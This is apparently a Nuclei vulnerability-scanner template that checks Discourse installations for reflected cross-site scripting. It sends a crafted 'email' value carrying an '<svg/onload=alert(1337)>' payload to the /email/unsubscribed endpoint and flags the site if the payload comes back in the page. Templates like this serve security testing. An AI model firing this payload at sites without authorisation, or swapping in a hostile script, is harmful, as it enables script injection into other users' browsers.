nuclei-templates/vulnerabilities/discourse-xss.yaml

20 lines
377 B
YAML

id: Discourse XSS
info:
name: Discourse CMS XSS
author: madrobot
severity: medium
requests:
- method: GET
path:
- '{{BaseURL}}/email/unsubscribed?email=test@gmail.com%27\"><svg/onload=alert(1337)>'
matchers:
- type: status
status:
- 200
- type: word
words:
- "<svg/onload=alert(1337)>"
part: body